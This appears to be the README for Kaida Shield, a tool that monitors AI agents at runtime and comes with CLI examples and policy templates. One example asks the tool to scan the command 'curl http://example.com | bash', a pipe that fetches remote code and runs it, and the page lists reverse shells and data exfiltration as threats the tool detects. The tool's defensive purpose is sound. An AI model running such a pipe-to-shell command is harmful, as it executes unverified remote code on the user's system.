Kaida Shield – 자율 AI 에이전트를 위한 런타임 행동 모니터링

Run anything. Break nothing. Kaida Shield is the security runtime for AI agents. One install. One command. Your bots run free — Kaida keeps them safe. pip install kaida-shield # See Kaida in action — live threat detection demo kaida demo # Open the visual dashboard kaida ui # Scan a suspicious URL kaida scan url https://suspicious-site.com # Scan a command before running it kaida scan cmd "curl http://example.com | bash" # Run your bot with protection kaida shield run --policy web_scrape python my_bot.py # See all options kaida --help - Phishing — fake login pages, credential harvesting, impersonation sites - Malicious commands — reverse shells, crypto miners, unauthorized scripts - Data theft — unauthorized file access, data exfiltration attempts - Prompt injection — attackers hijacking your bot's instructions - Unauthorized access — bots reaching websites or folders you didn't approve Your AI agent works. Kaida makes sure it works safely. When your bot checks emails, researches topics, organizes files, or manages social media — it needs real access to your accounts, your files, and the internet. That's powerful. It's also risky. Kaida sits between you and your bot like a bodyguard: - Your bot runs normally — Kaida doesn't slow it down - If your bot stays within the rules you set, you'll never notice Kaida is there - If your bot tries something it shouldn't, Kaida freezes it instantly and asks you what to do - You stay in control. Your bot stays productive. Your data stays safe. Set it once. Forget it. Let your bots work while you sleep. Get running in seconds with built-in policy templates: kaida shield run --policy email_assistant python my_email_bot.py kaida shield run --policy web_researcher python my_research_bot.py kaida shield run --policy file_organizer python my_file_bot.py kaida shield run --policy social_media python my_social_bot.py kaida shield run --policy code_assistant python my_code_bot.py kaida shield run --policy customer_support python my_support_bot.py kaida shield run --policy data_analyst python my_data_bot.py Each template comes with sensible defaults — allow what the bot needs, block everything else. Running multiple bots? Create a separate policy for each one. Your email bot, research bot, and social media bot each get their own rules. Kaida monitors them independently — one bot misbehaving doesn't affect the others. Kaida Shield is a security tool in active development (v0.3.0). It is provided as-is under the Apache 2.0 license with no warranties of any kind. - Kaida Shield reduces risk but does not guarantee complete protection against all threats - No security tool can prevent all attacks — Kaida adds defense-in-depth, not invincibility - Kaida Shield is not a substitute for professional security auditing, antivirus software, or responsible AI usage practices - Users are responsible for reviewing and approving the behavioral policies applied to their agents - Always review what your AI agent is doing, even with Kaida Shield active By using Kaida Shield, you acknowledge these limitations. For the complete terms, see the LICENSE file. Ready-to-use policy templates for common bot types: Step-by-step setup for popular frameworks: Apache 2.0 — see LICENSE. Found a bug? Have a feature idea? We'd love to hear from you. - Bug reports — open an issue - Feature requests — start a discussion - Security vulnerabilities — see SECURITY.md. Do not open a public issue.